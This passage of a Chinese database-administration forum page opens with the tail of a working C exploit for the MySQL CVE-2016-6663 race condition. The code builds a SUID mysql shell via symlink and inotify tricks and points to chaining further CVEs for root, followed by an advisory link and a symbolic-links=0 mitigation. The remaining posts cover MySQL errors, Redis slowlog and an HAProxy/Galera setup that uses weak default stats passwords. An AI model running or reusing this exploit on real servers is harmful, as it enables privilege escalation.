printf("\n[+] Entering the race loop... Hang in there...\n");
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
unlink(MYSQL_TEMP_FILE);
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
unlink(MYSQL_TAB_FILE);
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
chmod(MYSQL_TAB_FILE, 04777);
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}
视频参考:http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
 
临时解决办法:
在my.cnf中添加
symbolic-links = 0

 


参考链接:http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html 
原文链接:http://bobao.360.cn/learning/detail/3152.html 


MySQL Server has gone away报错分析

being 发表了文章 • 0 个评论 • 513 次浏览 • 2016-08-21 23:59 • 来自相关话题

在平时和开发的交流以及在论坛回答问题的或称中会发现这个问题被问及的频率非常高。 程序中报错: MySQL server has gone away 是什么意思? 如何避免? 因此,感觉有必要总结一下发生这个问题的原因。
 

一、MySQL 服务宕了​

判断是否属于这个原因的方法很简单,执行以下命令,查看mysql的运行时长
$ mysql -uroot -p -e "show global status like 'uptime';"
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Uptime | 68928 |
+---------------+-------+
1 row in set (0.04 sec)或者查看MySQL的报错日志,看看有没有重启的信息
$ tail /var/log/mysql/error.log
130101 22:22:30 InnoDB: Initializing buffer pool, size = 256.0M
130101 22:22:30 InnoDB: Completed initialization of buffer pool
130101 22:22:30 InnoDB: highest supported file format is Barracuda.
130101 22:22:30 InnoDB: 1.1.8 started; log sequence number 63444325509
130101 22:22:30 [Note] Server hostname (bind-address): '127.0.0.1'; port: 3306
130101 22:22:30 [Note] - '127.0.0.1' resolves to '127.0.0.1';
130101 22:22:30 [Note] Server socket created on IP: '127.0.0.1'.
130101 22:22:30 [Note] Event Scheduler: Loaded 0 events
130101 22:22:30 [Note] /usr/sbin/mysqld: ready for connections.
Version: '5.5.28-cll' socket: '/var/lib/mysql/mysql.sock' port: 3306 MySQL Community Server (GPL)如果uptime数值很大,表明mysql服务运行了很久了。说明最近服务没有重启过。 如果日志没有相关信息,也说明mysql服务最近没有重启过,可以继续检查下面几项内容。
 

二、连接超时

如果程序使用的是长连接,则这种情况的可能性会比较大。 即,某个长连接很久没有新的请求发起,达到了server端的timeout,被server强行关闭。 此后再通过这个connection发起查询的时候,就会报错server has gone away
$ mysql -uroot -p -e "show global variables like '%timeout';"
+----------------------------+----------+
| Variable_name | Value |
+----------------------------+----------+
| connect_timeout | 30 |
| delayed_insert_timeout | 300 |
| innodb_lock_wait_timeout | 50 |
| innodb_rollback_on_timeout | OFF |
| interactive_timeout | 28800 |
| lock_wait_timeout | 31536000 |
| net_read_timeout | 30 |
| net_write_timeout | 60 |
| slave_net_timeout | 3600 |
| wait_timeout | 28800 |
+----------------------------+----------+
mysql> SET SESSION wait_timeout=5;


# Wait 10 seconds

mysql> SELECT NOW();
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 132361
Current database: *** NONE ***

+---------------------+
| NOW() |
+---------------------+
| 2013-01-02 11:31:15 |
+---------------------+
1 row in set (0.00 sec)

三、进程在server端被主动kill

这种情况和情况2相似,只是发起者是DBA或者其他job。发现有长时间的慢查询执行kill xxx导致。
$ mysql -uroot -p -e "show global status like 'com_kill'"
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Com_kill | 0 |
+---------------+-------+

四、Your SQL statement was too large.

当查询的结果集超过 max_allowed_packet 也会出现这样的报错。定位方法是打出相关报错的语句。 用select * into outfile 的方式导出到文件,查看文件大小是否超过max_allowed_packet ,如果超过则需要调整参数,或者优化语句。
mysql> show global variables like 'max_allowed_packet';
+--------------------+---------+
| Variable_name | Value |
+--------------------+---------+
| max_allowed_packet | 1048576 |
+--------------------+---------+
1 row in set (0.00 sec)

# 修改参数:

mysql> set global max_allowed_packet=1024*1024*16;
mysql> show global variables like 'max_allowed_packet';
+--------------------+----------+
| Variable_name | Value |
+--------------------+----------+
| max_allowed_packet | 16777216 |
+--------------------+----------+
1 row in set (0.00 sec)英文原文:http://ronaldbradford.com/blog/sqlstatehy000-general-error-2006-mysql-server-has-gone-away-2013-01-02/ 查看全部
在平时和开发的交流以及在论坛回答问题的或称中会发现这个问题被问及的频率非常高。 程序中报错: MySQL server has gone away 是什么意思? 如何避免? 因此,感觉有必要总结一下发生这个问题的原因。
 


一、MySQL 服务宕了​


判断是否属于这个原因的方法很简单,执行以下命令,查看mysql的运行时长
$ mysql -uroot -p -e "show global status like 'uptime';"
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Uptime | 68928 |
+---------------+-------+
1 row in set (0.04 sec)
或者查看MySQL的报错日志,看看有没有重启的信息
$ tail /var/log/mysql/error.log
130101 22:22:30 InnoDB: Initializing buffer pool, size = 256.0M
130101 22:22:30 InnoDB: Completed initialization of buffer pool
130101 22:22:30 InnoDB: highest supported file format is Barracuda.
130101 22:22:30 InnoDB: 1.1.8 started; log sequence number 63444325509
130101 22:22:30 [Note] Server hostname (bind-address): '127.0.0.1'; port: 3306
130101 22:22:30 [Note] - '127.0.0.1' resolves to '127.0.0.1';
130101 22:22:30 [Note] Server socket created on IP: '127.0.0.1'.
130101 22:22:30 [Note] Event Scheduler: Loaded 0 events
130101 22:22:30 [Note] /usr/sbin/mysqld: ready for connections.
Version: '5.5.28-cll' socket: '/var/lib/mysql/mysql.sock' port: 3306 MySQL Community Server (GPL)
如果uptime数值很大,表明mysql服务运行了很久了。说明最近服务没有重启过。 如果日志没有相关信息,也说明mysql服务最近没有重启过,可以继续检查下面几项内容。
 


二、连接超时


如果程序使用的是长连接,则这种情况的可能性会比较大。 即,某个长连接很久没有新的请求发起,达到了server端的timeout,被server强行关闭。 此后再通过这个connection发起查询的时候,就会报错server has gone away
$ mysql -uroot -p -e "show global variables like '%timeout';"
+----------------------------+----------+
| Variable_name | Value |
+----------------------------+----------+
| connect_timeout | 30 |
| delayed_insert_timeout | 300 |
| innodb_lock_wait_timeout | 50 |
| innodb_rollback_on_timeout | OFF |
| interactive_timeout | 28800 |
| lock_wait_timeout | 31536000 |
| net_read_timeout | 30 |
| net_write_timeout | 60 |
| slave_net_timeout | 3600 |
| wait_timeout | 28800 |
+----------------------------+----------+
mysql> SET SESSION wait_timeout=5;


# Wait 10 seconds

mysql> SELECT NOW();
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 132361
Current database: *** NONE ***

+---------------------+
| NOW() |
+---------------------+
| 2013-01-02 11:31:15 |
+---------------------+
1 row in set (0.00 sec)


三、进程在server端被主动kill


这种情况和情况2相似,只是发起者是DBA或者其他job。发现有长时间的慢查询执行kill xxx导致。
$ mysql -uroot -p -e "show global status like 'com_kill'"
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| Com_kill | 0 |
+---------------+-------+


四、Your SQL statement was too large.


当查询的结果集超过 max_allowed_packet 也会出现这样的报错。定位方法是打出相关报错的语句。 用select * into outfile 的方式导出到文件,查看文件大小是否超过max_allowed_packet ,如果超过则需要调整参数,或者优化语句。
mysql> show global variables like 'max_allowed_packet';
+--------------------+---------+
| Variable_name | Value |
+--------------------+---------+
| max_allowed_packet | 1048576 |
+--------------------+---------+
1 row in set (0.00 sec)

# 修改参数:

mysql> set global max_allowed_packet=1024*1024*16;
mysql> show global variables like 'max_allowed_packet';
+--------------------+----------+
| Variable_name | Value |
+--------------------+----------+
| max_allowed_packet | 16777216 |
+--------------------+----------+
1 row in set (0.00 sec)
英文原文:http://ronaldbradford.com/blog/sqlstatehy000-general-error-2006-mysql-server-has-gone-away-2013-01-02/

Redis慢日志查询系统slowlog

chris 发表了文章 • 0 个评论 • 681 次浏览 • 2016-07-07 20:27 • 来自相关话题

一、什么是SlowLog

SlowLog是Redis用来记录慢查询执行时间的日志系统。由于SlowLog只保存在内存中,所以SlowLog的效率非常高,
所以你不用担心会影响到你Redis的性能问题。SlowLog是Redis 2.2.12版本之后才引入的一条命令。

二、SlowLog设置

SlowLog两种设置方式如下:
 
1、redis.conf配置文件设置
在配置文件redis.conf中设置:slowlog-log-slower-than 10000
slowlog-max-len 128其中slowlog-log-slower-than表示slowlog的划定界限,只有query执行时间大于slowlog-log-slower-than的才会定义成慢查询,才会被slowlog进行记录。slowlog-log-slower-than设置的单位是微秒,默认是10000微秒,也就是10毫秒。

slowlog-max-len表示慢查询最大的条数,当slowlog超过设定的最大值后,会将最早的slowlog删除,是个FIFO队列。
 
2、使用config方式动态设置slowlog
如下,可以通过config方式动态设置slowlog:- 查看当前slowlog-log-slower-than设置
127.0.0.1:6379> CONFIG GET slowlog-log-slower-than
1) "slowlog-log-slower-than"
2) "10000"
- 设置slowlog-log-slower-than为100ms
127.0.0.1:6379> CONFIG SET slowlog-log-slower-than 100000
OK
- 设置slowlog-max-len为1000
127.0.0.1:6379> CONFIG SET slowlog-max-len 1000
OK参考:http://redisdoc.com/server/slowlog.html
 

三、SlowLog 查看

1、查看slowlog总条数127.0.0.1:6379> SLOWLOG LEN
(integer) 4
2、查看slowlog127.0.0.1:6379> SLOWLOG GET
1) 1) (integer) 25
2) (integer) 1440057769
3) (integer) 6
4) 1) "SLOWLOG"
2) "LEN"
2) 1) (integer) 24
2) (integer) 1440057756
3) (integer) 36
4) 1) "CONFIG"
2) "GET"
3) "slowlog-log-slower-than"
3) 1) (integer) 23
2) (integer) 1440057752
3) (integer) 11
4) 1) "CONFIG"
2) "SET"
3) "slowlog-log-slower-than"
4) "1"
4) 1) (integer) 22
2) (integer) 1440057493
3) (integer) 27
4) 1) "CONFIG"
2) "GET"
3) "slowlog-log-slower-than"
5) 1) (integer) 21
2) (integer) 1440057133
3) (integer) 7
4) 1) "monitor"如果要获取指定的条数可以使用SLOWLOG GET N命令127.0.0.1:6379> SLOWLOG GET 1
1) 1) (integer) 26 // slowlog唯一编号id
2) (integer) 1440057815 // 查询的时间戳
3) (integer) 47 // 查询的耗时(微秒),如表示本条命令查询耗时47微秒
4) 1) "SLOWLOG" // 查询命令,完整命令为 SLOWLOG GET,slowlog最多保存前面的31个key和128字符
2) "GET" 查看全部


一、什么是SlowLog


SlowLog是Redis用来记录慢查询执行时间的日志系统。由于SlowLog只保存在内存中,所以SlowLog的效率非常高,
所以你不用担心会影响到你Redis的性能问题。SlowLog是Redis 2.2.12版本之后才引入的一条命令。


二、SlowLog设置


SlowLog两种设置方式如下:
 
1、redis.conf配置文件设置
在配置文件redis.conf中设置:
slowlog-log-slower-than 10000
slowlog-max-len 128
其中slowlog-log-slower-than表示slowlog的划定界限,只有query执行时间大于slowlog-log-slower-than的才会定义成慢查询,才会被slowlog进行记录。slowlog-log-slower-than设置的单位是微秒,默认是10000微秒,也就是10毫秒。

slowlog-max-len表示慢查询最大的条数,当slowlog超过设定的最大值后,会将最早的slowlog删除,是个FIFO队列。
 
2、使用config方式动态设置slowlog
如下,可以通过config方式动态设置slowlog:
- 查看当前slowlog-log-slower-than设置
127.0.0.1:6379> CONFIG GET slowlog-log-slower-than
1) "slowlog-log-slower-than"
2) "10000"
- 设置slowlog-log-slower-than为100ms
127.0.0.1:6379> CONFIG SET slowlog-log-slower-than 100000
OK
- 设置slowlog-max-len为1000
127.0.0.1:6379> CONFIG SET slowlog-max-len 1000
OK
参考:http://redisdoc.com/server/slowlog.html
 


三、SlowLog 查看


1、查看slowlog总条数
127.0.0.1:6379> SLOWLOG LEN 
(integer) 4

2、查看slowlog
127.0.0.1:6379> SLOWLOG GET
1) 1) (integer) 25
2) (integer) 1440057769
3) (integer) 6
4) 1) "SLOWLOG"
2) "LEN"
2) 1) (integer) 24
2) (integer) 1440057756
3) (integer) 36
4) 1) "CONFIG"
2) "GET"
3) "slowlog-log-slower-than"
3) 1) (integer) 23
2) (integer) 1440057752
3) (integer) 11
4) 1) "CONFIG"
2) "SET"
3) "slowlog-log-slower-than"
4) "1"
4) 1) (integer) 22
2) (integer) 1440057493
3) (integer) 27
4) 1) "CONFIG"
2) "GET"
3) "slowlog-log-slower-than"
5) 1) (integer) 21
2) (integer) 1440057133
3) (integer) 7
4) 1) "monitor"
如果要获取指定的条数可以使用SLOWLOG GET N命令
127.0.0.1:6379> SLOWLOG GET 1
1) 1) (integer) 26 // slowlog唯一编号id
2) (integer) 1440057815 // 查询的时间戳
3) (integer) 47 // 查询的耗时(微秒),如表示本条命令查询耗时47微秒
4) 1) "SLOWLOG" // 查询命令,完整命令为 SLOWLOG GET,slowlog最多保存前面的31个key和128字符
2) "GET"

ERROR 1 (HY000): Can't create/write to file '/sql/cluster_user.sql' (Errcode: 13)

being 发表了文章 • 0 个评论 • 594 次浏览 • 2016-07-03 21:27 • 来自相关话题

使用outfile方法把查询结果导出:
select * from db_main.cluster_user into outfile '/sql/cluster_user.sql'错误如下:
ERROR 1 (HY000): Can't create/write to file '/sql/cluster_user.sql' (Errcode: 13)看到Can't create/write 我想大家应该一般首先想到的是权限的问题。要不是selinux的问题,要不就是目录mysql没有写权限。
 
网上说把文件导出到/tmp目录就可以,我试了一下是OK的,这是为什么呢?
 
因为select into outfile的命令是mysql的daemon来负责写文件操作的,需要对文件具有写的权限,而/sql目录的权限为755,mysql不具有对文件写的权限,所以就报不能create/write了,而/tmp是777的权限,所以也就是为什么能够写入的原因。 查看全部
使用outfile方法把查询结果导出:
select * from db_main.cluster_user into outfile '/sql/cluster_user.sql'
错误如下:
ERROR 1 (HY000): Can't create/write to file '/sql/cluster_user.sql' (Errcode: 13)
看到Can't create/write 我想大家应该一般首先想到的是权限的问题。要不是selinux的问题,要不就是目录mysql没有写权限。
 
网上说把文件导出到/tmp目录就可以,我试了一下是OK的,这是为什么呢?
 
因为select into outfile的命令是mysql的daemon来负责写文件操作的,需要对文件具有写的权限,而/sql目录的权限为755,mysql不具有对文件写的权限,所以就报不能create/write了,而/tmp是777的权限,所以也就是为什么能够写入的原因。

安装配置Haproxy代理MySQL Galera集群

koyo 发表了文章 • 0 个评论 • 1067 次浏览 • 2016-07-02 13:51 • 来自相关话题

这篇文章,我讲介绍如何为MariaDB Galera 集群添加负载均衡,大致步骤如下:
确认所有Galera节点作为一个单一集群运行(所有节点都是主节点而且相互同步)
[]安装Haproxy(你可以安装到独立的服务器或者应用服务器)[/][]配置集群监控检测脚本,用于检测每个backend server服务器健康[/][]配置Haproxy统计页面[/][]将应用程序指向Haproxy[/]
 
大致架构图如下:




 
配置集群检测脚本
**本节中所描述的步骤应该是所有数据库节点上执行,除非另有指定。
 
1、首先,我们需要配置后端健康检查报告。 我们将使用现有的Percona的clustercheck脚本 。 拿到脚本,并把它放在/usr/local/bin目录运行以下命令:
$ git clone https://github.com/olafz/percona-clustercheck
$ cp percona-clustercheck/clustercheck /usr/local/bin
 2、 clustercheck脚本执行通过监控MySQL的几个变量/状态 Galera节点上定期检查。 它会产生一个相应的HTTP返回代码一个简单的HTML输出(无论是503 - 服务不可用或200 - OK)。 为了让事情更容易为HAProxy的触发脚本,并获得后端的最新状态,我们必须让它侦听的端口。 我们可以使用xinetd打开脚本到一个服务进程,并使其听一个自定义的端口,在这种情况下,我将使用9200。
 
创建一个名为/etc/xinet.d/mysqlchk的新文件,并添加以下几行:
# default: on
# description: mysqlchk
service mysqlchk
{
disable = no
flags = REUSE
socket_type = stream
port = 9200
wait = no
user = nobody
server = /usr/local/bin/clustercheck
log_on_failure += USERID
only_from = 0.0.0.0/0
per_source = UNLIMITED
}
3、添加Mysqlchk服务到xinetd
echo 'mysqlchk 9200/tcp # MySQL check' >> /etc/services
4、默认情况下,该脚本将使用MySQL用户名为“clustercheckuser”,密码为“clustercheckpassword!”。 我们需要确保这个MySQL用户与对应的密码存在的脚本将能够执行健康检查之前。 运行下面的DB节点之一(Galera应该复制该语句到其他节点)DDL语句:
mysql> GRANT PROCESS ON [i].[/i] TO 'clustercheckuser'@'localhost' IDENTIFIED BY 'clustercheckpassword!';
mysql> FLUSH PRIVILEGES;你可以改变clustercheck script的32,33行,这篇文章我们使用默认用户名和密码。
 
5、验证脚本返回一个正确的值
$ /usr/local/bin/clustercheck > /dev/null
$ echo $?
0如果DB节点在已同步,你应该得到0,否则1应该是输出。 后端健康检查配置。
 
安装Haproxy
1、最简单的安装方法就是使用(yum/apt)包管理器,然而,强烈建议使用上HAProxy的网站提供的最新版本。无论哪种方式,我下面都会介绍到。
 
A)如果您选择通过软件包管理器安装HAProxy的:
$ yum install haproxy # Redhat/CentOS
$ sudo apt-get install haproxy # Debian/Ubuntu
B)通过Haproxy官网下载源码
$ yum install php-curl gcc make # Redhat/CentOS
$ apt-get install php5-curl gcc make # Debian/Ubuntu
$ wget http://www.haproxy.org/download/1.5/src/
$ tar xvzfz
$ cd
$ make TARGET=linux26
$ cp -f haproxy /usr/sbin/haproxy从源代码(选项B)安装带有没有初始化脚本。所以你需要手动的通过命令行启动。
 
配置HAproxy
现在,我们已经安装了HAProxy的。 我们需要将其配置为在端口3307监听MySQL服务,并执行后端健康检查。 在/etc/haproxy/haproxy.cfg,确保以下行存在:
global
pidfile /var/run/haproxy.pid
daemon
user haproxy
group haproxy
stats socket /var/run/haproxy.socket user haproxy group haproxy mode 600 level admin

maxconn 8192
spread-checks 3
quiet
defaults
mode tcp
option dontlognull
option tcp-smart-accept
option tcp-smart-connect
retries 3
option redispatch
maxconn 8192
timeout check 3500ms
timeout queue 3500ms
timeout connect 3500ms
timeout client 10800s
timeout server 10800s

userlist STATSUSERS
group admin users admin
user admin insecure-password admin
user stats insecure-password yourpassword

listen admin_page 0.0.0.0:9600
mode http
stats enable
stats refresh 60s
stats uri /
acl AuthOkay_ReadOnly http_auth(STATSUSERS)
acl AuthOkay_Admin http_auth_group(STATSUSERS) admin
stats http-request auth realm admin_page unless AuthOkay_ReadOnly

listen mysql_3307
bind *:3307
mode tcp
timeout client 10800s
timeout server 10800s
balance leastconn
option httpchk
option allbackups
default-server port 9200 inter 2s downinter 5s rise 3 fall 2 slowstart 60s maxconn 64 maxqueue 128 weight 100
server db1 10.0.0.187:3306 check
server db2 10.0.0.188:3306 check
server db3 10.0.0.189:3306 check现在开机启用该服务,让其工作。
 
RHEL/CentOS 6:
$ chkconfig haproxy on # RHEL6
$ service haproxy start # RHEL6
Ubuntu 14.04 and lower, Debian 7 and lower:
$ update-rc.d haproxy defaults
$ sudo service haproxy start
RHEL/CentOS 7, Debian 8, Ubuntu 15.04:
$ systemctl enable haproxy
$ systemctl start haproxy
 
验证Haproxy端口监听是否正常:
sudo netstat -tulpn | grep haproxy
tcp 0 0 0.0.0.0:9600 0.0.0.0:* LISTEN 370/haproxy
tcp 0 0 0.0.0.0:3307 0.0.0.0:* LISTEN 370/haproxy
 3307是MySQL的负载平衡端口,而9600是HAProxy的统计页面。 您可以登录访问http检查状态:// haproxy_ip_address:9600 /,以用户名“管理员”和密码登录“你的密码”作为配置的内部haproxy.cfg。 你应该看到类似下面的内容:




现在你可以把你的应用程序或者Mysql的客户端执行harproxy代理的3307端口,用于Mysql的负载均衡和故障自动转移。 查看全部
这篇文章,我讲介绍如何为MariaDB Galera 集群添加负载均衡,大致步骤如下:
确认所有Galera节点作为一个单一集群运行(所有节点都是主节点而且相互同步)
    []安装Haproxy(你可以安装到独立的服务器或者应用服务器)[/][]配置集群监控检测脚本,用于检测每个backend server服务器健康[/][]配置Haproxy统计页面[/][]将应用程序指向Haproxy[/]

 
大致架构图如下:
galera_haproxy_secaserver.png

 
配置集群检测脚本
**本节中所描述的步骤应该是所有数据库节点上执行,除非另有指定。
 
1、首先,我们需要配置后端健康检查报告。 我们将使用现有的Percona的clustercheck脚本 。 拿到脚本,并把它放在/usr/local/bin目录运行以下命令:
$ git clone https://github.com/olafz/percona-clustercheck
$ cp percona-clustercheck/clustercheck /usr/local/bin

 2、 clustercheck脚本执行通过监控MySQL的几个变量/状态 Galera节点上定期检查。 它会产生一个相应的HTTP返回代码一个简单的HTML输出(无论是503 - 服务不可用或200 - OK)。 为了让事情更容易为HAProxy的触发脚本,并获得后端的最新状态,我们必须让它侦听的端口。 我们可以使用xinetd打开脚本到一个服务进程,并使其听一个自定义的端口,在这种情况下,我将使用9200。
 
创建一个名为/etc/xinet.d/mysqlchk的新文件,并添加以下几行:
# default: on
# description: mysqlchk
service mysqlchk
{
disable = no
flags = REUSE
socket_type = stream
port = 9200
wait = no
user = nobody
server = /usr/local/bin/clustercheck
log_on_failure += USERID
only_from = 0.0.0.0/0
per_source = UNLIMITED
}

3、添加Mysqlchk服务到xinetd
echo 'mysqlchk      9200/tcp    # MySQL check' >> /etc/services

4、默认情况下,该脚本将使用MySQL用户名为“clustercheckuser”,密码为“clustercheckpassword!”。 我们需要确保这个MySQL用户与对应的密码存在的脚本将能够执行健康检查之前。 运行下面的DB节点之一(Galera应该复制该语句到其他节点)DDL语句:
mysql> GRANT PROCESS ON [i].[/i] TO 'clustercheckuser'@'localhost' IDENTIFIED BY 'clustercheckpassword!';
mysql> FLUSH PRIVILEGES;
你可以改变clustercheck script的32,33行,这篇文章我们使用默认用户名和密码。
 
5、验证脚本返回一个正确的值
$ /usr/local/bin/clustercheck > /dev/null
$ echo $?
0
如果DB节点在已同步,你应该得到0,否则1应该是输出。 后端健康检查配置。
 
安装Haproxy
1、最简单的安装方法就是使用(yum/apt)包管理器,然而,强烈建议使用上HAProxy的网站提供的最新版本。无论哪种方式,我下面都会介绍到。
 
A)如果您选择通过软件包管理器安装HAProxy的:
$ yum install haproxy # Redhat/CentOS
$ sudo apt-get install haproxy # Debian/Ubuntu

B)通过Haproxy官网下载源码
$ yum install php-curl gcc make # Redhat/CentOS
$ apt-get install php5-curl gcc make # Debian/Ubuntu
$ wget http://www.haproxy.org/download/1.5/src/
$ tar xvzfz
$ cd
$ make TARGET=linux26
$ cp -f haproxy /usr/sbin/haproxy
从源代码(选项B)安装带有没有初始化脚本。所以你需要手动的通过命令行启动。
 
配置HAproxy
现在,我们已经安装了HAProxy的。 我们需要将其配置为在端口3307监听MySQL服务,并执行后端健康检查。 在/etc/haproxy/haproxy.cfg,确保以下行存在:
global
pidfile /var/run/haproxy.pid
daemon
user haproxy
group haproxy
stats socket /var/run/haproxy.socket user haproxy group haproxy mode 600 level admin

maxconn 8192
spread-checks 3
quiet
defaults
mode tcp
option dontlognull
option tcp-smart-accept
option tcp-smart-connect
retries 3
option redispatch
maxconn 8192
timeout check 3500ms
timeout queue 3500ms
timeout connect 3500ms
timeout client 10800s
timeout server 10800s

userlist STATSUSERS
group admin users admin
user admin insecure-password admin
user stats insecure-password yourpassword

listen admin_page 0.0.0.0:9600
mode http
stats enable
stats refresh 60s
stats uri /
acl AuthOkay_ReadOnly http_auth(STATSUSERS)
acl AuthOkay_Admin http_auth_group(STATSUSERS) admin
stats http-request auth realm admin_page unless AuthOkay_ReadOnly

listen mysql_3307
bind *:3307
mode tcp
timeout client 10800s
timeout server 10800s
balance leastconn
option httpchk
option allbackups
default-server port 9200 inter 2s downinter 5s rise 3 fall 2 slowstart 60s maxconn 64 maxqueue 128 weight 100
server db1 10.0.0.187:3306 check
server db2 10.0.0.188:3306 check
server db3 10.0.0.189:3306 check
现在开机启用该服务,让其工作。
 
RHEL/CentOS 6:
$ chkconfig haproxy on # RHEL6
$ service haproxy start # RHEL6

Ubuntu 14.04 and lower, Debian 7 and lower:
$ update-rc.d haproxy defaults
$ sudo service haproxy start

RHEL/CentOS 7, Debian 8, Ubuntu 15.04:
$ systemctl enable haproxy
$ systemctl start haproxy

 
验证Haproxy端口监听是否正常:
sudo netstat -tulpn | grep haproxy
tcp 0 0 0.0.0.0:9600 0.0.0.0:* LISTEN 370/haproxy
tcp 0 0 0.0.0.0:3307 0.0.0.0:* LISTEN 370/haproxy

 3307是MySQL的负载平衡端口,而9600是HAProxy的统计页面。 您可以登录访问http检查状态:// haproxy_ip_address:9600 /,以用户名“管理员”和密码登录“你的密码”作为配置的内部haproxy.cfg。 你应该看到类似下面的内容:
haproxyStatus.png

现在你可以把你的应用程序或者Mysql的客户端执行harproxy代理的3307端口,用于Mysql的负载均衡和故障自动转移。